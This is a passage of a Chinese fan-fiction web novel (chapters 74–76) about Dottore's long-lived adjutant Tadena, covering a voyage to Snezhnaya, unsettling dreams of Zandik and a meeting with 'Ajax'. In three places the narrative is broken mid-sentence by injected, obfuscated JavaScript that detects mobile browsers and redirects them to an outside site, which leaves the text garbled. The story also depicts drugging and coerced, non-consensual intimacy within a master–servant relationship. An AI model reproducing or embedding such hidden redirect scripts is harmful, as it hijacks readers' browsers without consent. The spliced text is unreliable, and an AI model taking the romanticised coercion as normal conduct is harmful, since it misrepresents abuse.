“这样吗……”我有些为难,“明天我估计要在沫芒宫忙犯人交接和契约拟定的事情,大概抽不出时间。这样的话,还是不要让林尼浪费时间白跑一趟了,等之后见到再说吧。” 我心里明白这袋鱼干大概是永远都送不出去了,虽然有些失落,但还是很快调整好心情,准备将牛皮纸袋放回自己的储物袋里。 阿蕾奇诺的声音突然响起:“把东西给我吧,我会转交给林尼。” “啊?”我愣了一下,但很快反应过来,生怕阿蕾奇诺临时反悔,将手里的袋子恭敬呈上。 “十分感谢您,【仆人】大人。”我发自真心地道。 阿蕾奇诺不发一语,只是将袋子接过。牛皮纸的袋子在严肃的执行官手中显得格格不入。 她看向我:“我听说了一些关于你的事迹,比如你私放走实验体的事。” 柯莱那次吗? 我不明白阿蕾奇诺为何会突然提起这件事,但还是顿时有些尴尬。 “连您也知道那件事了吗……” “那么大的动静,倒不如说很难不注意到吧。” 倒也是…… 阿蕾奇诺的语气稍微温和一点:“即使你的所行所为无可推翻,你替【博士】做那些脏事也是确确实实的事实,但我还是要感谢你对林尼的关照。以【父亲】的身份。” 我噎了一下,一瞬间竟然不知道该怎么回话。 或许是受这位【仆人】大人的冷脸受得惯了,乍一下对我柔和,我反而有点不太习惯。 “呃……您言重了,我只是做了一些小事而已。况且,若真要说‘关照’的话,反而可能是林尼关照我更多吧。”我笑道。 阿蕾奇诺摇了摇头。 “林尼是一个重视家人和朋友的孩子。你上次拒绝给他邪眼,并且开导他的那件事,也已经足够我感谢你一次了。若非你告诉他让他与家人倾诉这件事,以那孩子的性格,或许并没有这么快放弃想法。” 我:“……” 我有些哑然,最后只是回了一句“这都是我该做的”,便匆匆辞别阿蕾奇诺离开了。 74.第 74 章 和沫芒宫的交接进行的很顺利,甚至是超乎我想象得的顺利。无论是沫芒宫,还是【仆人】,恐怕都期待着早点把多托雷这个祸害送走枫丹。 当然,我这个祸害的帮凶也一样。 于是,在飞速地完成收尾工作后,我和多托雷一起乘上了返回至冬的船。那是沫芒宫会谈之后的第二天,船于傍晚出发,没有一个人来相送。 当然,这对于多托雷而言,是在为正常不过的事情。从来都只有多托雷不请自去地给一些执行官送行,为了实验的目的,或者只是单纯的好奇。 为这件事,我记得斯卡拉姆奇去到稻妻执行任务的时候,还差点和多托雷吵了起来。 不过斯卡拉姆奇看不惯多托雷也不是一天两天的事情了,虽然因为一些合作不得不与多托雷保持基本的往来,更多的其他的时候,斯卡拉姆奇都会绕着点多托雷。 按他的话来说,“不仅要忍受多托雷这个令人讨厌的家伙,还要看到一些瞎眼睛的场面”。 指多托雷偶尔会在外人面前对我举止亲昵。 但实际上在我说过一次不太喜欢之后,多托雷就很少那样做了。 令人惊讶的配合。 不过也只是对我的“乖巧”的奖赏罢了,在完全服从的前提下,多托雷并不吝于在其他方面稍微更加纵容我一点。但若是哪天真正触怒了多托雷…… 我不敢想那样的后果。 毕竟最近,或者说很长的一段时间,我所打扰的“好事”都集中在切片身上,比如赞迪克,又比如Omega切片。而多托雷对这些事情,似乎都是完全放任的态度。 他在观察我和切片的相处。这一点,我早就知道。 若是要问我是否会因为此生出“如同实验用的小白鼠一样毫无人权或不被尊重的感觉”,那对于我而言大概是完完全全的“多思”了。 毕竟多托雷对自己的切片也是如此态度。 我又有何“特殊”的呢? 回到正题。 我放走了实验体,闹出全至冬的执行官都知道的动静,甚至“报废”了Omega切片,而这些事情,没有给我招致任何的惩罚。 不,或者说,枫丹发生的这些事情,那些混乱的梦境,带着试探,紊乱,甚至是…… 我深吸了一口气,脑袋抽抽地疼。 那次的梦境带给我的影响比我想象中的要更严重,梦中亲手将长剑贯穿咽喉的感觉如此鲜活,如此难以忘却,甚至让我产生了比五百年前目睹多托雷的杀人现场后被强迫威胁所带来的梦魇还要缠身。 那些明明应该是在梦境中才发生的事情,如今细细再想来,竟然如同自己亲身经历过一般,和往日那些褪色的记忆一起,成为自己的一部分。 不…… 它们甚至在挤占那些褪色的记忆的位置。 人的记忆积蓄得越多,便就像高高砌起来的城墙一样,越垒越高,只要行砖的位置或砖块的大小稍微改变,就会变成脆弱的危墙,濒临崩塌。 我扶着被海风渍得有些潮湿的甲板上的铁杆,鼻息间具是海盐咸湿的气味。 今晚的月亮很圆,星星也很多,难得的好天气,连云彩也少,只是气温有些低,海风打过来,像是被凉水浇了一身。 但被这么浇上一通,大脑的痛感反而轻了许多。 我从口袋里拿出止痛药,想要吃上一点,却被一只戴着皮手套的手掌握住。 我叹了口气,但还是乖顺地卸力。 “主人。” 手腕被拉远到男人身前,多托雷将里面的药瓶抽出来,看了一眼。 “止痛药。头疼的问题又在犯了吗?” “是。估计是最近工作太多忙到了,吃点止痛药缓解一下就好。” “我允许你自己拿药不是让你养成对药物的依赖。”多托雷将药瓶收进自己的口袋里。 我的眼神跟随那瓶止痛药滑进多托雷的口袋里,看着那里微鼓起来的一点突起,心里忍不住想:这家伙要迷我做那些事情的时候下药倒是毫不含糊。 但面上还是维持着恭敬的表情低头。 “是,主人,我知道了。” 侧脸被扶着抬起,多托雷用一只手掌掀起我额上的发丝,另一只手的拇指按着一边的太阳穴,轻轻揉圈按压起来。 多托雷一边按揉一边语气淡淡地说:“我给你用药的时候可是会控制好剂量和品类的。” 我身体稍微僵了一下。 ……这家伙……我的想法就真的这么好猜吗?明明面对其他人的时候完全不会被看出自己在想什么。 戴着手套的拇指没有丝毫的温度,一切就如同多托雷本身一样。 说起来,身为切片被制造出来的Theta身上常年保持着与正常人无异的体温和心跳脉搏,反而是身为制造者,从本源上来讲更接近“人类”这一概念的多托雷从不会在自己身上伪造这些。 每次被抱住的时候,又冷又硬,还毫无动静的胸膛总让我产生一种自己在拥抱尸体的感觉。 多托雷或许已经不能算是正常的“人”了。 他的身体经历过太多的改造,为了让这具躯体超越时间的限制存活下去的,多托雷尝试了非常多的实验。 每一具切片的制造都需要耗费大量的时间,精力和材料,那些稀有的材料,即使是多托雷也要耗费一番力气才能够找到。 但人类的身体,连同人类的灵魂,都与切片完全不同。 人的身体会老化,会腐烂,就如同人的灵魂和精神一般。 就如同即使身体里有着神秘力量庇佑再不会忧心死亡的我也会被繁杂沉重的记忆压得疲惫混乱一样。 多托雷,撇去被改造的一切,本质上与凡人不同,但又与凡人相同的存在,又在承担着何种的磨损呢? 想到这里,我忍不住在心里再叹一口气。 真是的……最近怎么老是会有这种稀奇古怪的想法。难不成真是工作太多加班加傻了? 早知道就不揽这个烂摊子了,被莱欧斯利当作无药可救的危险分子好像也并没有什么损失吧…… 正这样想着,太阳穴上的手指停下,连带着额上的发丝也被放下来。多托雷轻轻抬一下我的下巴,我知道这是让我仰头的意思,于是乖乖照做。 多托雷拿出一枚粉色外衣的药丸,用手指将我的唇揉开,喂了进去。 药丸入嘴是完全的甜味,像花一样,有些腻人。我含着那药丸在舌尖滚了一圈然后咽下去,因为仰着头的动作,吞咽的声音格外大。 等咽下去我才问:“这是什么药?” 多托雷:“安神类的药物。轻量摄入的话可以缓解疼痛和促进睡眠,但过量的话,会对人的神经造成损失,精神错乱,产生幻觉。我做了内服的药丸和外用的熏香两种。神经损伤对你无用,若是头疼的话,可以偶尔服用少量。服用单一的止痛药的话,你的抗药性会越来越强的。” 多托雷看着我,他没戴面具,那双猩红色的双眼便盯着我的喉间,看那里上下滚动将药咽下去。 他脸上的笑意温柔。 “对了,你之前说过做了噩梦,最近感觉如何?那样的情况还会出现吗?” 我想起在实验室昏睡过去后梦见的少年以及在梦境中发生的事情,还有在那之后,记忆隐约的混乱和磨损。 我下意识地想要将这些事情和盘托出,但话到了嘴边又被咽下去,心中隐约的感觉阻止着我将这件事说出。 那无比真实的少年的多托雷,以及梦境中的少年身上感知到的,与多托雷如出一辙的气息,真的只是记忆混乱的巧合吗?我又为何会突然梦见有关多托雷的梦境? 于是我顿了一下,只说:“好像还做了一次梦,但很混乱,醒来就有点想不起来了。” “梦的内容呢?一点都想不起来了吗?” 我摇摇头。 多托雷沉思了一会儿。 “这么看来,也可能只是忧思过多以及太累,加上过于繁重的记忆压迫精神造成的混乱。果然,即使是被那股力量庇护,也无法抵抗记忆带来的磨损吗。” “我听说一些长生的物种,因为记忆积累过于繁重,慢慢磨损他们的精神甚至是心智,以至于最后走上自我毁灭的道路。就我对那些跨越了凡人不敢想象的年岁的存在的观察,这一点,完全有迹可循。有足够的证据证明这一件事。” 我:“……就没有办法能够解决这个问题吗?” 多托雷:“记忆是对精神的负担。除了主动清除部分记忆,让脑中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085753|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记忆始终处于‘刚好’的状态,除此之外,恐怕暂时没有更好的方法。” 我有些失望。 “这样吗……” 我看着多托雷,看着男人脸上的悠然,忍不住问出声。 “那主人您,会因为记忆而感到负担不起吗?” 多托雷似乎有些惊讶:“哦?竟然问我这样的问题吗?” 他笑出声:“抱歉抱歉,我的表述可能稍微有点错漏。不光是‘记忆’,还应该有‘情感’才对。” 手套光滑而冰冷的触感拢上喉咙,多托雷靠近我。 “塔德纳,磨损你的情感与记忆,又究竟是,从何而来呢?” “主人……” 我下意识地叫出声,但声音很快被喉咙上加重的力度阻断。 我被多托雷囊括到怀里,被迫仰着头,嘴唇被揉开,多托雷侵入了进去,速度适中,却亲得极深,连嗓子眼仿佛都被多托雷的舌尖舔了进去。 我稍微挣扎呜咽了几下,发现没用之后就放弃了,只是将自己的身体尽量放的轻松,容纳多托雷的侵入和吸吮。 水声混杂着海浪拍击的声音,落在耳边令人面红耳赤。 多托雷亲了一会儿,在我缺氧到无法思考的时候才放开我。我感觉到自己软的站不起来的身体被一双有力的手臂抱起,放任自己被完全拥进怀中,被抱着朝执行官专属的休息室走去。 在被折磨地精疲力尽昏睡过去的时候,我似乎闻到了一股甜腻的熟悉的香味。 …… 再度踏上至冬的土壤,一切竟然显得有些陌生,我从甲板上下船,在不远处看到了一个熟悉的人。 【富人】,潘塔罗涅。 为数不多会主动与多托雷接触的人。 潘塔罗涅的身影迅速靠近,我站在多托雷身后,借着多托雷的身形将自己半遮住逃过行礼问好的麻烦事。 多托雷不在意我会不会向其他执行官问好这件事,在他看来,我只要对他一直保持恭敬就好了。但名义上身为愚人众的副官,拿着愚人众开的工资,我也真不好就完全忽略这种事情,所以一般情况下,我的礼数还是会尽量周全的。 只不过今天情况特殊,早上起来的时候才发现嗓子使用过度有些发肿了,虽然多托雷给了药但还是觉得不舒服,说话的声音也哑哑的。如无必要,我今天并不是很想开口说话。 好在潘塔罗涅的注意力完全在多托雷身上,连视线都没落到我身上一次。 他看向多托雷:“好久不见,【博士】,看来你的枫丹之旅结果不错。” 他的脸上笑吟吟的,这个时候倒是看不出前两天枫丹事件定好的赔偿清单被寄给这位大人时,回信上阴阳怪气的态度了。 面对同僚兼合作伙伴,多托雷的态度也平和了点。 “自然,只是一点小事而已。我们之间就不用如此繁琐的试探与寒暄了吧。找我有什么事吗?” 潘塔罗涅轻笑:“既然我们都不喜欢浪费时间,那我就直说了。关于我们下一季度的新合作项目,我有一些细节需要找你确定。时间嘛,越快越好。” 多托雷:“既然如此,那我们即刻就到你那儿把细节确定好吧。” 确定好接下来的行程,多托雷看向我,用询问的语气问我。 “你的身体不适,要先回去休息吗?” 随着多托雷的询问,我能感受到潘塔罗涅的视线也落过来,像热烙一样,直要把我烫出一个洞。 我:“……” 我尽量保持语气平静:“多谢主人,我想先回去休息。” 又低又哑,还带着点虚弱的声音。 潘塔罗涅看过来的眼神更加复杂且灼热了。 “好吧。”多托雷轻笑一声,“睡前记得泡个热水澡,不然身体会不舒服的。”末了还补上一句,“我会早点回去的。” 我:“……” 不要再说了啊! 没看到【富人】大人脸上的笑容都要坚持不住了吗! 我被盯得头皮发麻,连告别都不想说一句就匆匆忙忙离开了。 背过身走远的时候,还能隐约听到后面的对话。 “你倒是……挺关爱下属的。” “呵。这是什么新流行的笑话吗?” 75.第 75 章 回到熟悉的住所,执行官的住处都会安排专门人员定期进行清理,所以即使在外执行任务很长的一段时间,也不会需要担心卫生的问题。 用钥匙打开门,我打开壁炉的运行装置,随后上楼准备洗浴一番。 打开热水,放满浴缸,然后躺进去。温暖的热水完全包裹人的身体,让人产生昏昏欲睡的困倦。 …… “醒醒,别睡了。老师都看了你好几眼了。” 肩膀被人轻轻推动。我睁开眼,乍然直射入眼球的阳光让我一时间被晃了一下,捂住眼睛躲避了窗外的阳光,我扶着头坐起来。 身边的人长相平庸,几乎没什么令人可记忆的点,我在自己的脑海里搜寻了一下,并没有找到此人的记忆。 但我听到自己的声音响起,刻意压低。 “感谢感谢。我实在是太困了,刚才一不小心睡着了。幸好你把我叫起来了,我可不想被这门课的老师训。” “嗨,不用客气,我们是朋友嘛。”旁边的人如此回答,带着自然的亲近,“你不会一晚上没睡觉吧?敢在这位老师的课上睡觉的,你可是唯一一个。” “哈哈,其实应该是两天没睡了。一直在忙毕业研究。” “厉害。小心猝死,朋友。” 无比顺畅和自然的“朋友”二字被身边的人说出,我下意识起了一身鸡皮疙瘩,却又在心里疑惑。 是朋友的话,这样称呼也没什么关系吧,我在矫情什么? 撑着睡意听了后半堂课,旁边的人戳了戳我。 “你中午要一起出去吃饭吗?” “吃饭?” “克拉斯学长的研究项目成功了,他又是我们这派贤者的亲传弟子,现在都说克拉斯学长以后也会继承他老师的衣钵呢。为了庆祝,克拉斯学长准备了派对要请吃饭。你要去吗?去的话我可以带你。” 我皱了皱眉:“不了,我不太喜欢和其他人接触。” 旁边的人笑:“是吗?这可不像是你的行事作风,你以往不是很喜欢这样的活动吗?能认识很多人,还能白蹭一顿饭。” 我是这样的性格吗? 我下意识地觉得有些不对,但细想却又找不出哪里不对劲。脑海里仿佛也闪过了许多记忆片段,都与这人所说的相符。 对后辈的关心提衔,对前辈的恭敬有礼,游刃有余。记忆里的身影虽然模糊,但确实存在。 我扶额:“可能是太累了吧。我现在只想回去睡觉,再熬下去就要猝死了。” “好吧好吧。”见我态度坚决,旁边的人不再劝说,“那我就一个人去了。” 我收拾着自己手边的书和笔,将零碎的笔夹在厚厚的书页里,然后横放进包里。 身边的“朋友”并没有离开的打算,大概是派对的时间还早,他决定等我一起出教室,偶尔他还会说一些身边发生的有趣的小事,我会应声一下当作回应让他接着下去讲。 就在我埋头收拾东西的时候,身边突然传来一阵阵倒吸冷气的声音。 “怎么是他?这个家伙怎么突然来这里了?” 我抬头疑惑地看着身边的人:“谁?谁来了?” “赞迪克啊,那个见习陀娑多。据说提出了要把人当成实验体随意改造这样的观点,三十人团去他家调查的时候还发现了满满一墙的标本。咦,鬼知道他有没有真的拿人做过标本。” 我看过去,在后门的地方看见那位一进门便引起喧闹的中心。 平心而论,那是一位相当俊帅的青年,骨架来看的话应该还没成年,但身量已经相当高了。一头薄荷色的卷发,穿着教令院的服饰,那双红色的,犹如鲜血的眼睛在阶梯的最高处俯视着下面的所有人,给那双冷漠的眼睛添了点傲慢的气质。 一个性格比较冷的天才。 我在心里如此下了定义,但却没什么不满。 教令院从不缺少有天赋的人,至于那些万里挑一的天才,即使眼睛要恨不得长在头顶上去看人,也不会有人觉得哪里不妥,顶多不过是心里嫉妒的人会在背后蛐蛐两句。 但即使是那样的人,在直面过天才的光辉后,也只会夹着尾巴灰溜溜地逃走,再也不出现。 随着青年的进入,教室里还未离开的人都在偷偷看那人,甚至偶尔还能听到一些不满的抱怨和刻薄的猜测。 一个性格冷且名声不太好的天才。 我默默在后面加上后面半句。 身边的人语气不算太好:“真是倒霉,竟然会在这里遇到这个家伙。他不会是上次被贤者批评过后怀恨在心,准备拿我们派的学生开刀吧?” 缺乏逻辑的推论。 我在心中如此想着,但还是带着惊讶的语气问道:“批评?那是什么?” “你不知道吗?就是他那个理论啦,被贤者批成是邪魔外道,还说要是继续宣扬这种不为伦理所接受的理论的话,就要取消他见习陀娑多的身份逐出教令院。” “至于这么严重吗?”我有些不以为然。 旁边的人顿时神情变得有些紧张地拉住我的衣袖拽了一下。 “嘘!可别在公共场合说出这样的话。赞迪克现在的名声可不好,要是被当作认同赞迪克理论的异端,小心被连带着一起批判!” 我闭上嘴,耸了耸肩,不再继续讨论这件事。 说白了,什么赞迪克,什么理论,其实都和我完全无关不是吗?先忙好自己的生活再去关心别人吧。 与我相比,旁边的人很显然更关心这位“名声远扬”的天才。 “早点离开吧,我还想从后门出去呢。他要呆到什么时候……啊,他动了,他看过来了!等等,他怎么好像在朝我们的方向走过来啊?!” 身边的人语调都要变形,我有些不耐烦地捂住耳朵。 “稍微小点声好吗?你离我太近了,声音还有点大……” “原来你在这里。塔德纳,我找了你好久。” 我愣了一下,抬头,正对上那血红的眼睛。 身边的人快要尖叫了:“你!你来这里干什么?等等,你刚才叫谁?” 赞迪克没有理会旁边人的喧闹和恐惧,只是死死地盯着我,像是结网的蜘蛛死死盯住猎物的视线。 我恍然生出一种被生拆吞吃入腹的错觉,后背浮起淡淡一层汗。 “塔德纳。”他又重复了一遍我的名字,“不是说好下课后要和我一起回去的吗?我等了你很久。过来。” 最后的两个字像是冷硬的命令。 我抖了一下,下意识地越过身边的人走过去。 “等等。”手臂被拉住了,“我怎么从来没听塔德纳说起过你。你找他干什么?” 赞迪克冷笑一声,眼神甚至都懒得分给旁边的人一丝。 “无知的豸虫,有知道的必要吗?” “你什么意思!” 手臂被身边的人抓得更紧了:“塔德纳,我们走,别管这个莫名其妙的家伙。” 身形被身边的人拉得踉跄。 “等等。”我勉强止住身边人的动作,看了一眼旁边的人,又看了一眼不远处的赞迪克。 那双熟悉的眼睛,熟悉的声音,熟悉的气息。 脑海里突然浮现起无数的记忆,少年的赞迪克,青年的赞迪克,在教室的,在餐厅的,甚至,在野外的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090335|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>少年之间的承诺。 拥抱,亲吻,“共犯”。 头突然变得有些晕。 “塔德纳,你不会真的和在这个家伙认识吧?”身边的人不敢置信地看着我。 我突然感到一丝烦躁,在我出声之前,赞迪克的声音插进来。 “当然。”青年的语气理所当然,“甚至,我们之间的关系比你更紧密。你说呢,塔德纳?” 赞迪克看向我。 不止是他,更多的眼睛看向我。 那些打量和好奇的眼神让我压力很大,加上身边这位自称是我“朋友”的人一副伤心且愤怒的表情。 我有些艰难地开口:“应该……是吧。” 赞迪克弯起嘴角。他似乎在一瞬间变得心情很好。 无视身边惊讶的眼神,赞迪克朝我伸出手。 “跟我走吧。”他说,“我们约定好了,不是吗?” 我低下头,握上那只手。 青年的掌形足够大,骨节压着我的手,揉进指间,嵌得严丝合缝。 大脑像是突然被水蒸气泡发了一般,迷迷糊糊,又喘不过气来。 …… “咳咳……” 我从浴缸里惊醒的时候才发现自己不知不觉间竟然睡过去了,连口鼻都被半淹进水里,骤然清醒的时候呛了好几口水。 我有些慌张地扶着浴缸的边缘,上半身探出去,有些狼狈地咳嗽呼吸。 一阵脚步声传来,随即,浴室的门被从外面打开。 “塔德纳?”多托雷似乎刚回来不久,连衣服都还没换。 他两三步走进来,带着冷意的手掌扶着我湿滑的后背将我扶起来。 多托雷看了一眼周围,瞬间明白发生了什么事。 “睡着了?” 我点点头,还有点心有余悸。 我被从水里捞出来,身体贴着多托雷的衣服,又冷又硬。 我有些抗拒地推了一下多托雷。 “好冷……我想先出去。” 后颈被捏了一下。 “不要乱动。”多托雷警告道:“你要就这个样子上床吗?” 我看了一眼身上尚未清理的泡沫,又有些退缩了。 “那我先自己清理一下……” 多托雷压着我的后脑勺把我紧在怀里,然后弯下腰去放浴缸里的水。 我被多托雷突如其来的动作吓了一跳,下意识地收紧双腿夹住多托雷的身体,但又因为身体上滑溜的水迹,总在下滑。 我只能更用力地夹住,甚至伸手拽住了多托雷的衣服。 多托雷似乎笑了一声,连带着胸腔也在震颤。 等到浴缸的水放完,多托雷将我放进浴缸里,然后拿起旁边的淋浴头。下一刻,喷头被打开,温度适中的热水浇淋在我的身上。 我伸手想去拿喷头:“我自己来,主人……” 但被制止了。 多托雷捏着我的手腕压回到我的腹部:“稍微乖一点,塔德纳。” 他的眼睛被尖喙的面具遮得严实,但我还是能感受到来自多托雷的视线,像是猎鹰一样扫视着自己的猎物,一丝一毫都不放过。 我感到无所遁形的窘迫。 等到浴缸的水被放到齐平胸口的时候,多托雷关闭了开关,那戴着黑色手套的手掌半浸入水中感受了一下。 “温度正好。”他说,“需要我帮你吗?” 浴室里不断升腾的蒸汽,加上那淹没了大半个身体让人无端感到心安的热水,我的心稍微松懈了许多,以至于甚至没有听到多托雷的问话。等到多托雷没得到回应抚上我的肩膀的时候,一切都晚了。 76.第 76 章 回到至冬,一切似乎又回归了平时的样子。如今Omega和Alpha切片都不在至冬,Theta切片忙于实验,而更多其他的切片,他们比我想象中的更加忙碌,我甚至近半个月都没有见到过任何一位切片。 或许是在枫丹的几天难得过了一段什么都不需要考虑和去做的假期,回来之后反而觉得身体越发得懒散,人越来越困倦,即使是白日,偶尔也会感到困意。 因着最近事情不多,多托雷便给我放了假,让我在休息一段时间。 我自然没有理由推拒,毕竟就算是往年不知多少个岁月,多托雷也会给我批一些假期的,如此想来,真正全年无休的,好像只有多托雷一个人。 不过按照多托雷恨不得住在实验室,把做实验当日常生活的样子,放不放假对他而言都无差。 我在住所里宅了几天,多托雷给我的药似乎还含有安眠的成分,每晚按规定的量服用下去后,都会睡得很沉,直到第二天临近中午的时分才会醒来。虽然总感觉睡眠质量不太好,像是一晚上做了八百个梦一样,但头疼的毛病确实不见了。 这样连续服用几天,我便停了药。准备好好休息一晚,第二天出门逛逛。 第二天醒来,倒是神清气爽了不少,从衣柜找出加绒的斗篷,我又从柜子里找出好久不用的留影机便出门了。 因为出门的行程早在前一晚便已经征求过多托雷的同意,所以安排好清洁人员的工作后,我便离开了。 即使是位于大陆最北面的至冬,如今似乎也即将迎来春季,近些日的晴日愈发多了起来,连温度也开始回暖,只是对于我而言,还是没办法不穿斗篷直接出门。 我拍了一些末雪融化的景,手指漏在外面许久,又没戴手套,不多久便冻得通红,于是把留影机放在身边的储物袋,然后把手放在脖颈里暖一下。 这边的方向,是偏城外的一处点,因为有一处巨大的湖,所以很多人会来这里钓鱼,我远远看到许多普通的市民坐在湖边冰钓,不愿去跟前凑热闹,便揣着留影机往前面走,想要找到没人的地方拍两张湖景。 等我好不容易找到没人的地方,准备靠近湖边更近一点的时候,身后传来了一道声音。 “喂,不要再往那边走了,靠得太近小心掉进去,现在的湖冰,可比不上隆冬的时节。” 我往身后看去,见到是一位戴着红围巾的青年,年龄着实年轻,一头橙色的短发,浑身都散发着一股要让我这种“老人”望而却步的,灼热的青年朝气。 青年脸上是笑着的,只是那一双蓝色的眼睛,独无什么光芒,即使是在阳光下也显得暗沉。 很显然,这大概并不是一位普通的青年。 我提起两分警惕,面上还是露出一份歉意。 “抱歉,我只是想在这附近拍几张照。”我举了举手中的留影机。 青年看见留影机,眼神稍微和缓,少了一点警戒。 “这样吗?最近确实有很多人会来这附近拍照。不过这边基本不会有人来,湖边的积雪和杂草都还没清理,一头蛮进去的话,恐怕会踩到融化的冰面掉进去。这样吧,你先上来,我帮你清一块地出来。” “真的吗?如果可以真是太感谢了。” 我顺着过来湖边的脚步往回走,看着青年矫健地近了湖,他似乎对这一片格外熟悉,伸手将埋在雪里的杂草丛拔掉扔在一边,然后随手从旁边的树上折下一根枝条将地上的雪拨弄到两边,很快,一小块棕色的土地被清理出来,也能看到不远处的湖边。 青年朝我招手。 “好了,过来吧。” 我走过去,在青年身前大概一米远的距离站定。这是大多数人能接受的与第一次见面的陌生人之间的社交距离。 “太感谢您了。”我露出笑容,“如果没有您真是不知道该如何是好了。” 我朝着青年的方向伸出右手:“不知道能否有幸与您结识。” 青年也下意识伸出自己的右手要和我握手,目光突然落到自己满是雪水和杂草碎的手套上,又有些局促地缩回去,然后飞快地用另一只手扯掉手套,再握上我的手掌。 青年的手掌掌幅很大,温度也高,像是一块炭一样,掌心和指间都有着大大小小的茧,那是习武之人惯有的手。 青年笑道:“只是小事而已。你可以叫我‘阿贾克斯’。对了,我应该怎么称呼你?” 我微笑:“‘塔德纳’。请如此称呼我便好。” “塔德纳……”阿贾克斯的神色变得有些古怪。 我心里一跳:“请问,这个名字是有什么问题吗?您的表情好像有点不太好。” 阿贾克斯反应过来,尴尬地收回手挠了挠头。 “抱歉,我只是觉得这个名字有点耳熟。不过应该是我记错了吧。对了,你来这里拍照是家住在这附近吗?” 见青年没有继续这个话题的想法,我也只好压住内心的疑惑,耐心地解答。 “不,我是专门坐车来这边的。” 其实并非。 多托雷的住处确实就在这附近,我是直接自己走过来的。这个方向再走过去二十分钟甚至还有一处分实验室,Theta和Beta切片会偶尔来这边主持实验。 我能看到阿贾克斯在听到我的回答后神情舒缓了一些,对方在尽可能地隐藏,不过对于专业解读多托雷微表情五百年的我而言,遮掩的技巧还是太拙劣了。 “您呢?看您的装束,好像并不是来冰钓的,也是专程赶来这边赏景的吗?” “当然不是。”阿贾克斯摇头,“会专程来这里的大都是来冰钓的,我当然也不例外。不过我的营地在前面一点,钓鱼的工具都在那里。” “营地?”我有些惊讶。 “哈哈,我喜欢在冰钓的时候扎营多待几天,这样可以一次性钓很久,不用担心没有尽兴。特别是晚上的时候,在岸边挂上一盏灯,鱼就会往这边游,很容易钓上大鱼。” 说起自己喜欢的事务的青年语气甚至都因为兴奋而微微上扬,也终于多了一丝属于青年年龄的活泼来。 我微笑着听完了青年讲述自己上次钓起一条足足有二十斤重的大鱼,回家的路上被好几个人询问这条鱼卖不卖,然后被青年拒绝,拿回家和家人分享的事。 “托克想把那条鱼养起来,可惜我们家没有那么大的鱼缸。不过冬妮娅倒是很高兴,那条鱼的味道很不错,她很喜欢。” 我:“您和家人之间的关系真好。” “当然,我们可是最亲密的家人。”青年的神色骄傲而柔和。 我顿了一下,在外面再逛一会儿的心情减少了不少。我看了一眼天色,随即带着歉意地向阿贾克斯告别。 阿贾克斯有些惊讶。 “这么早就要回去吗?你还没有拍照吧。” 我低了低眉眼:“回程的路途比较远,所以需要早点赶回去。劳烦您帮我清理出地面却没有用到,实在是太抱歉了。” 青年赶紧摆手:“没事,反正只是顺手的事而已,你不用这么在意。” 我想了想,离开之前从留影机里抽出今天拍好的照片,拢共大概三十几张,从里面分出一半递给阿贾克斯。 青年愣了一下:“这是?” “一些我今天拍的照片。浪费了您的一番好心,就用这些照片抵偿吧。还希望您不会觉得无用。” “怎么会。”青年接过照片,每一张都翻看了一下。 “拍得很好。”他夸赞道,“我会好好珍藏的。” 我对这番话不置可否,对于送出去的东西,我早已经过了会在意其归处的年纪。于是只是笑着点了点头,再次告别后便转身离开了。 等到离开湖边稍远的距离,我才稍微松了口气。 那位阿贾克斯绝非是普通人,方才接触,无论是从身形,肌肉,骨骼,都能看出青年是一位久经战斗的老手,且青年的腰间,虽然只在握手时短暂地看到,也能够发现青年的腰间,那枚水系的神之眼,元素力十分活跃。 青年毫无疑问是至冬人。 那枚神之眼的样式,正是至冬的款样,而从青年的身上,我感受到熟悉的气场,硬是要形容的话,那大概是,属于愚人众的气息。 关于这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094040|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点,没有证据。 不过虽然这点只是我基于直觉的猜测,我也有百分之九十的把握肯定其准确性。 再加上,阿贾克斯听到我的名字时那奇怪的神色…… 我可没办法相信青年“可能是记错了”的推辞之言。 只是,我从未在愚人众听说过有叫“阿贾克斯”的人存在,青年的实力和气场也并不像无名小兵。 我感到些许头疼,准备暂且放下这件事等到之后托人调查一下青年。 正在我准备离开之际,两个身形高大的男子突然挡在我的面前。 “请留步,大人。” 我皱眉抬头,在两张毫无记忆点的脸上扫过:“你们是?” 两个男人一板一眼地回答。 “在下是实验室的士兵。副官大人,【博士】大人有请。” 我感到疑惑。 多托雷?他不是最近在忙他的切片改进技术,应该用不上我吗?怎么突然找我,还是派两个我完全不认识的人来这里找。 我感到不对劲,沉声问:“哪位【博士】大人?” 两个男人相互对视一眼。 “【博士】大人就是【博士】大人,您说的这些我们听不懂。” 不知道切片的士兵,外层吗?连亲信都算不上。 除去多托雷,在这附近,会专门派人找我过去的切片…… 